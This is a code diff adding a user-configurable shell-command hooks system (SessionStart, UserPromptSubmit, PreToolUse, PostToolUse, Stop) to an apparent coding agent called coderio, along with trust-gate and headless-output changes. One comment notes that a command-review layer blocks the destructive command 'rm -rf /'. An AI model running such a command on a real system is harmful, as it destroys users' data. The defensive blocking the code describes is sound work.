+ - **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
268
+ - **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
269
+
270
+ **Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
271
+
272
+ **v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt, parallel execution (v1 is serial; with multiple hooks the first blocker's reason wins but all hooks run).
273
+
241
274
  Supported providers:
242
275
  | provider_id | Description | Protocol |
243
276
  |---|---|---|
@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
5
5
 
6
6
  [project]
7
7
  name = "coderio"
8
- version = "0.4.0"
8
+ version = "0.4.1"
9
9
  description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
10
10
  readme = "README_en.md"
11
11
  license = "MIT"
@@ -166,6 +166,10 @@ select = ["E", "F", "W", "I", "S"]
166
166
  # S603 — the LocalShellBackend override runs model-generated bash commands;
167
167
  # executing them IS the tool's purpose (same rationale as tools/bash.py).
168
168
  "src/coderio/agent/deep_loop.py" = ["S602", "S603"]
169
+ # Hooks: S603 — hook commands come from the user's TOML config (trusted
170
+ # project settings, like skills_cmd.py's git clone), not arbitrary model
171
+ # input. Executing them IS the hooks feature's purpose.
172
+ "src/coderio/agent/hooks.py" = ["S603"]
169
173
  # Sandbox modules: S602/S603 — running arbitrary subprocess commands IS the
170
174
  # sandbox's entire purpose. The sandbox itself (bubblewrap namespace isolation
171
175
  # on Linux, Restricted Token + Job Object on Windows) is the security boundary,
@@ -438,6 +438,7 @@ def run_deep_agent(
438
438
  network_allowed: bool = True,
439
439
  fs_config=None,
440
440
  bash_shell: str = "",
441
+ hooks: list | None = None,
441
442
  ) -> str:
442
443
  """Run a deepagents-backed agent turn (coderio's production engine).
443
444
 
@@ -476,10 +477,52 @@ def run_deep_agent(
476
477
 
477
478
  neutralize_base_prompt()
478
479
 
480
+ # --- User hooks (agent/hooks.py): turn-level events fire here, tool-level
481
+ # events ride HooksMiddleware below. All fail-open except explicit exit 2.
482
+ from coderio.agent.hooks import HookRunner
483
+
484
+ project_dir = str(Path(workdir).resolve() if workdir else Path.cwd())
485
+ hook_runner = HookRunner(
486
+ hooks or [],
487
+ project_dir=project_dir,
488
+ session_id=session.id,
489
+ permission_mode=getattr(gate, "mode", "") if gate is not None else "",
490
+ )
491
+
492
+ # SessionStart (once per session id, lazy — covers resume): stdout injects
493
+ # context into THIS turn's user message.
494
+ if hook_runner.has_event("SessionStart") and session.id not in HookRunner._sessions_started:
495
+ HookRunner._sessions_started.add(session.id)
496
+ ss = hook_runner.fire("SessionStart", {"source": "startup", "model": getattr(model, "model_name", "")})
497
+ if ss.context:
498
+ user_input = f"{user_input}\n\n[hook context]\n{ss.context}"
499
+
500
+ # UserPromptSubmit: BEFORE session.append so a block leaves the session
501
+ # clean, and injected context lands in both the persisted message and the
502
+ # model input.
503
+ if hook_runner.has_event("UserPromptSubmit"):
504
+ prompt_text = user_input if isinstance(user_input, str) else str(user_input)
505
+ ups = hook_runner.fire("UserPromptSubmit", {"prompt": prompt_text})
506
+ if ups.blocked:
507
+ session.append(Message.user(prompt_text))
508
+ session.append(Message.assistant(f"Prompt rejected by hook: {ups.reason}"))
509
+ if hasattr(stream, "on_finish"):
510
+ stream.on_finish()
511
+ return f"Prompt rejected by hook: {ups.reason}"
512
+ if ups.context:
513
+ user_input = f"{prompt_text}\n\n[hook context]\n{ups.context}"
514
+
479
515
  session.append(Message.user(user_input))
480
516
 
481
517
  sp = _resolve_system_prompt(system_prompt, skill_store, active_skills)
482
- middleware = [HarnessMiddleware(stream=stream, enabled=harness_enabled)]
518
+ # HooksMiddleware OUTERMOST: PreToolUse can deny before the permission
519
+ # prompt appears, and observes the exact args the rest of the chain sees.
520
+ middleware: list[Any] = []
521
+ if hook_runner.specs:
522
+ from coderio.agent.hooks import HooksMiddleware
523
+
524
+ middleware.append(HooksMiddleware(hook_runner))
525
+ middleware.append(HarnessMiddleware(stream=stream, enabled=harness_enabled))
483
526
  if gate is not None:
484
527
  middleware.append(PermissionMiddleware(gate))
485
528
  # Command-content review: always active (even in FULL mode). Blocks rm -rf /,
@@ -550,6 +593,15 @@ def run_deep_agent(
550
593
  except Exception: # noqa: S110
551
594
  pass
552
595
 
596
+ # Stop event (notification-only v1): the harness owns force-continue, so a
597
+ # user Stop hook observes the turn end but cannot extend it. stdout is
598
+ # ignored; exit 2 is logged — blocking here would fight the harness gates.
599
+ if hook_runner.has_event("Stop"):
600
+ try:
601
+ hook_runner.fire("Stop", {"last_assistant_message": final_text[:2000]})
602
+ except Exception as e: # noqa: BLE001 — never let a hook break turn completion
603
+ _log.warning("Stop hook failed (ignored): %s", e)
604
+
553
605
  if hasattr(stream, "on_finish"):
554
606
  stream.on_finish()
555
607
  if hasattr(stream, "on_turn_end"):
@@ -0,0 +1,312 @@
1
+ """User-configurable hooks as a deepagents AgentMiddleware + turn-level events.
2
+
3
+ Lets users run their own shell commands at well-defined points of the agent
4
+ lifecycle — "reformat every file after Edit", "block writes to .env", "inject
5
+ project conventions at session start". The config/IO contract follows the
6
+ Claude Code / ZCode / Codex interop core so existing hook scripts port over:
7
+
8
+ - Events (v1): SessionStart, UserPromptSubmit, PreToolUse, PostToolUse, Stop
9
+ - stdin: one JSON object with session/cwd/event fields (+ event-specific ones)
10
+ - exit codes: 0 = pass (stdout may inject context for prompt/session events),
11
+ 2 = BLOCKING (stderr becomes the reason fed to the model), other = fail-open
12
+ - matcher: regex matched against the tool name (tool events only)
13
+
14
+ SECURITY POSITIONING (documented in README too): hooks are an EXTENSIBILITY
15
+ point, not a security boundary. Timeout/crash/non-2 failures are FAIL-OPEN —
16
+ a dead hook must never brick the agent loop. Hard policy belongs to the
17
+ permission gate + command blacklist; hooks are for workflow glue. Repo-level
18
+ hooks live in config.toml, which the repo-config trust gate (config/trust.py)
19
+ already covers — cloning a hostile repo does not silently run its hooks.
20
+
21
+ Architecture: PreToolUse/PostToolUse ride a middleware inserted OUTERMOST
22
+ (before Harness/Permission/CommandReview) so a hook can deny a call before
23
+ the permission prompt appears, and observes exactly the args the rest of the
24
+ chain will see. SessionStart/UserPromptSubmit/Stop are turn-level and are
25
+ fired directly from run_deep_agent.
26
+ """
27
+
28
+ from __future__ import annotations
29
+
30
+ import json
31
+ import logging
32
+ import re
33
+ import subprocess
34
+ import sys
35
+ from dataclasses import dataclass
36
+ from typing import Any
37
+
38
+ from langchain.agents.middleware.types import AgentMiddleware
39
+ from langchain_core.messages import ToolMessage
40
+
41
+ _log = logging.getLogger(__name__)
42
+
43
+ # v1 event set: the intersection of Claude Code / ZCode / Codex events, plus
44
+ # Stop. SessionEnd has no injection point (TUI exits without a hook call —
45
+ # v2 candidate). Notification/SubagentStop/PreCompact deliberately deferred.
46
+ HOOK_EVENTS = frozenset({"SessionStart", "UserPromptSubmit", "PreToolUse", "PostToolUse", "Stop"})
47
+
48
+ # Tool events are the only ones where a matcher against the tool name makes sense.
49
+ _TOOL_EVENTS = frozenset({"PreToolUse", "PostToolUse"})
50
+
51
+ DEFAULT_TIMEOUT = 60 # seconds; generous for linters, short enough not to brick a turn
52
+
53
+ # stdout beyond this is dropped rather than injected (context budget guard).
54
+ _MAX_CONTEXT_CHARS = 10_000
55
+
56
+
57
+ @dataclass
58
+ class HookOutcome:
59
+ """Aggregated result of firing one event (all matching hooks, serially).
60
+
61
+ blocked=True means at least one hook exited 2 — for PreToolUse the caller
62
+ denies the tool call; for UserPromptSubmit the prompt is rejected. context
63
+ carries pass-through stdout (SessionStart/UserPromptSubmit injection).
64
+ error carries fail-open diagnostics (non-blocking, logged + surfaced).
65
+ """
66
+
67
+ blocked: bool = False
68
+ reason: str = ""
69
+ context: str = ""
70
+ error: str = ""
71
+
72
+
73
+ @dataclass
74
+ class HookSpec:
75
+ """One [[hooks]] entry from config.toml."""
76
+
77
+ event: str
78
+ command: str
79
+ matcher: str = "" # regex against tool_name; "" matches all. Tool events only.
80
+ timeout: int = DEFAULT_TIMEOUT
81
+
82
+ def compiled_matcher(self) -> re.Pattern | None:
83
+ """None = match everything; invalid regex = never match (not crash)."""
84
+ if not self.matcher:
85
+ return None
86
+ try:
87
+ return re.compile(self.matcher)
88
+ except re.error:
89
+ _log.warning("hook matcher %r is not a valid regex — hook never fires", self.matcher)
90
+ return re.compile(r"(?!x)x") # unmatchable
91
+
92
+ def matches(self, tool_name: str) -> bool:
93
+ rx = self.compiled_matcher()
94
+ return rx is None or rx.search(tool_name) is not None
95
+
96
+
97
+ class HookRunner:
98
+ """Loads [[hooks]] specs and fires events by running shell commands.
99
+
100
+ One instance per run_deep_agent call (cheap); turn-level events share it
101
+ with the middleware. SessionStart dedup lives at CLASS level: a fresh
102
+ runner is built every turn, so instance state can't remember which
103
+ sessions already fired (resume included by design — the lazy fire happens
104
+ on the first turn of any loaded session).
105
+ """
106
+
107
+ # session ids that have already fired SessionStart (process-lifetime).
108
+ _sessions_started: set[str] = set()
109
+
110
+ def __init__(
111
+ self, specs: list[HookSpec] | None, project_dir: str, session_id: str = "", permission_mode: str = ""
112
+ ) -> None:
113
+ self.specs = [s for s in (specs or []) if s.event in HOOK_EVENTS]
114
+ self.project_dir = project_dir
115
+ self.session_id = session_id
116
+ self.permission_mode = permission_mode
117
+
118
+ def has_event(self, event: str) -> bool:
119
+ return any(s.event == event for s in self.specs)
120
+
121
+ def fire(self, event: str, payload: dict[str, Any]) -> HookOutcome:
122
+ """Run every matching hook for the event, serially, merging outcomes.
123
+
124
+ Serial by design (v1): Claude Code's parallel execution makes
125
+ multi-hook semantics non-deterministic; determinism wins for a coding
126
+ agent. First blocker wins; later hooks still run (their side effects
127
+ are the point — e.g. logging — even when the event is already denied).
128
+ """
129
+ tool_name = str(payload.get("tool_name", ""))
130
+ outcome = HookOutcome()
131
+ try:
132
+ for spec in self.specs:
133
+ if spec.event != event:
134
+ continue
135
+ if event in _TOOL_EVENTS and not spec.matches(tool_name):
136
+ continue
137
+ self._run_one(spec, event, payload, outcome)
138
+ except Exception as e: # noqa: BLE001 — a hook-layer bug must never break the turn
139
+ outcome.error += f"hook engine error (fail-open): {e}; "
140
+ # CONSUME the error (2026-08-14 v3 audit P1): a broken hook (missing
141
+ # script → exit 127, bad interpreter, etc.) must be visible to the
142
+ # user, not silently swallowed — the outcome.error field previously
143
+ # had zero consumers anywhere in the codebase.
144
+ if outcome.error:
145
+ _log.warning("hooks[%s]: %s", event, outcome.error.strip())
146
+ return outcome
147
+
148
+ # ------------------------------------------------------------------ execution
149
+
150
+ def _run_one(self, spec: HookSpec, event: str, payload: dict[str, Any], outcome: HookOutcome) -> None:
151
+ stdin_json = json.dumps(
152
+ {
153
+ "session_id": self.session_id,
154
+ "cwd": self.project_dir,
155
+ "permission_mode": self.permission_mode,
156
+ "hook_event_name": event,
157
+ **payload,
158
+ },
159
+ default=str,
160
+ )
161
+ try:
162
+ exit_code, stdout, stderr, timed_out = self._spawn(spec, stdin_json)
163
+ except Exception as e: # noqa: BLE001 — a broken hook must never crash the agent
164
+ outcome.error += f"hook {spec.command!r} failed to run: {e} (fail-open); "
165
+ return
166
+
167
+ if timed_out:
168
+ outcome.error += f"hook {spec.command!r} timed out after {spec.timeout}s (fail-open); "
169
+ return
170
+
171
+ # New names, not reusing stdout/stderr: mypy pins a variable's type to
172
+ # its first binding (bytes from _spawn), so rebinding to str is an error.
173
+ out_text = stdout.decode("utf-8", errors="replace")
174
+ err_text = stderr.decode("utf-8", errors="replace")
175
+
176
+ if exit_code == 2:
177
+ # Blocking error: stderr (or stdout) is the reason for the model.
178
+ # First blocker wins (subsequent blockers still RUN — their side
179
+ # effects matter — but don't clobber the first reason).
180
+ outcome.blocked = True
181
+ if not outcome.reason:
182
+ reason = (err_text.strip() or out_text.strip())[:_MAX_CONTEXT_CHARS]
183
+ outcome.reason = reason or "blocked by hook (no reason given)"
184
+ return
185
+ if exit_code != 0:
186
+ # Fail-open: log + surface, never block. This is the documented
187
+ # trade-off — hooks are glue, not a security boundary.
188
+ detail = (err_text.strip() or out_text.strip())[:200]
189
+ outcome.error += f"hook {spec.command!r} exited {exit_code} (fail-open){': ' + detail if detail else ''}; "
190
+ return
191
+ # exit 0: stdout may inject context for prompt/session events.
192
+ if event in ("UserPromptSubmit", "SessionStart") and out_text.strip():
193
+ text = out_text.strip()
194
+ if len(text) > _MAX_CONTEXT_CHARS:
195
+ _log.warning("hook stdout exceeded %d chars — context dropped", _MAX_CONTEXT_CHARS)
196
+ else:
197
+ outcome.context += ("\n" if outcome.context else "") + text
198
+
199
+ def _spawn(self, spec: HookSpec, stdin_json: str) -> tuple[int, bytes, bytes, bool]:
200
+ """Run the hook command with JSON on stdin. Returns (exit_code, stdout, stderr, timed_out).
201
+
202
+ On Windows prefers Git Bash (via detect_shell, same as the bash tool)
203
+ so POSIX-style commands behave; POSIX uses /bin/sh. Timeout kills the
204
+ whole process tree (kill_process_tree) so piped children don't linger.
205
+ """
206
+ import os
207
+
208
+ from coderio.tools.win_job import kill_process_tree
209
+
210
+ argv: list[str]
211
+ if sys.platform == "win32":
212
+ try:
213
+ from coderio.tools.bash import detect_shell
214
+
215
+ argv = [detect_shell(""), "-c", spec.command]
216
+ except FileNotFoundError:
217
+ argv = ["cmd", "/c", spec.command]
218
+ else:
219
+ argv = ["/bin/sh", "-c", spec.command]
220
+
221
+ env = dict(os.environ)
222
+ env["CODERIO_PROJECT_DIR"] = self.project_dir
223
+
224
+ # POSIX: the hook MUST get its own process group (start_new_session) —
225
+ # kill_process_tree's POSIX branch kills via os.killpg, and without a
226
+ # separate session the child shares OUR group, so a hook timeout would
227
+ # SIGKILL the agent itself (caught by the Linux/macOS CI matrix after
228
+ # the Windows-only local run passed; bash.py:242 has the same guard).
229
+ proc = subprocess.Popen(
230
+ argv,
231
+ stdin=subprocess.PIPE,
232
+ stdout=subprocess.PIPE,
233
+ stderr=subprocess.PIPE,
234
+ cwd=self.project_dir,
235
+ env=env,
236
+ start_new_session=(sys.platform != "win32"),
237
+ )
238
+ try:
239
+ stdout, stderr = proc.communicate(input=stdin_json.encode("utf-8"), timeout=spec.timeout)
240
+ return proc.returncode, stdout or b"", stderr or b"", False
241
+ except subprocess.TimeoutExpired:
242
+ kill_process_tree(proc)
243
+ try:
244
+ proc.communicate(timeout=10)
245
+ except Exception: # noqa: S110 — the kill already ran; drain best-effort
246
+ pass
247
+ return 124, b"", b"", True
248
+
249
+
250
+ class HooksMiddleware(AgentMiddleware):
251
+ """PreToolUse / PostToolUse as the OUTERMOST middleware.
252
+
253
+ Inserted before Harness/Permission/CommandReview (see run_deep_agent): a
254
+ hook deny happens before the permission prompt can bother the user, and
255
+ hooks observe exactly the args the rest of the chain will see. A deny
256
+ returns a synthetic ToolMessage (same short-circuit shape as
257
+ PermissionMiddleware) so the model learns why and can react.
258
+ """
259
+
260
+ def __init__(self, runner: HookRunner) -> None:
261
+ self.runner = runner
262
+
263
+ def wrap_tool_call(self, request, handler):
264
+ tc = getattr(request, "tool_call", None) or {}
265
+ name = tc.get("name", "")
266
+ args = dict(tc.get("args", {}) or {})
267
+ tool_call_id = tc.get("id", "")
268
+
269
+ pre = self.runner.fire("PreToolUse", {"tool_name": name, "tool_input": args, "tool_use_id": tool_call_id})
270
+ if pre.blocked:
271
+ return ToolMessage(
272
+ content=f"Blocked by hook: {pre.reason}",
273
+ tool_call_id=tool_call_id,
274
+ name=name,
275
+ )
276
+
277
+ result = handler(request)
278
+
279
+ post = self.runner.fire(
280
+ "PostToolUse",
281
+ {
282
+ "tool_name": name,
283
+ "tool_input": args,
284
+ "tool_use_id": tool_call_id,
285
+ "tool_response": _result_to_text(result),
286
+ },
287
+ )
288
+ # PostToolUse can't undo the executed tool; exit 2 appends feedback so
289
+ # the model sees it alongside the real result (Claude Code semantics).
290
+ if post.blocked:
291
+ note = f"\n[hook] {post.reason}"
292
+ content = getattr(result, "content", None)
293
+ if isinstance(content, str):
294
+ result.content = content + note
295
+ elif isinstance(result, str):
296
+ result = result + note
297
+ else:
298
+ out = getattr(result, "output", None)
299
+ if isinstance(out, str):
300
+ result.output = out + note
301
+ return result
302
+
303
+
304
+ def _result_to_text(result: Any) -> str:
305
+ """Best-effort text extraction from ToolMessage / ExecuteResponse / str."""
306
+ for attr in ("content", "output"):
307
+ v = getattr(result, attr, None)
308
+ if isinstance(v, str):
309
+ return v
310
+ if isinstance(result, str):
311
+ return result
312
+ return str(result)
@@ -78,7 +78,6 @@ def run_headless(
78
78
  import typer
79
79
 
80
80
  from coderio.config.bootstrap import ensure_user_dirs
81
- from coderio.config.loader import _find_project_dir
82
81
  from coderio.config.trust import existing_repo_configs, is_repo_trusted
83
82
 
84
83
  ensure_user_dirs()
@@ -101,11 +100,13 @@ def run_headless(
101
100
  # untrusted repo config is a hard error (prompting would hang headless
102
101
  # runs). The user confirms once via interactive `coderio`, then this
103
102
  # passes forever (until the repo config content changes).
103
+ # search_from-based discovery (v3 audit P0): walks up per-file like the
104
+ # loaders, so a repo whose root only has .mcp.json can't slip past by
105
+ # launching from a subdirectory.
104
106
  user_dir = Path.home() / ".coderio"
105
- project_dir = _find_project_dir(Path(".").resolve())
106
- if existing_repo_configs(project_dir) and not is_repo_trusted(project_dir, user_dir):
107
+ if existing_repo_configs(".") and not is_repo_trusted(".", user_dir):
107
108
  typer.secho(
108
- f"This repository has untrusted coderio config ({project_dir}).\n"
109
+ "This repository has untrusted coderio config.\n"
109
110
  "Run interactive `coderio` once in this directory and confirm the "
110
111
  "config, then retry `coderio run`.",
111
112
  err=True,
@@ -166,6 +167,13 @@ def run_headless(
166
167
  network_allowed=cfg.tools.network_allowed,
167
168
  fs_config=cfg.tools.sandbox_fs,
168
169
  bash_shell=cfg.tools.bash_shell,
170
+ hooks=cfg.hooks,
169
171
  )
172
+ # Always print the final result (v3 audit P2): in non-quiet mode the token
173
+ # stream already showed it, but a non-streamed final message would be lost
174
+ # without this — and scripts parsing stdout need exactly one final line.
175
+ # --quiet relies on this print alone; non-quiet gets it after a separator.
170
176
  if quiet:
171
177
  print(final)
178
+ else:
179
+ print(f"\n{final}")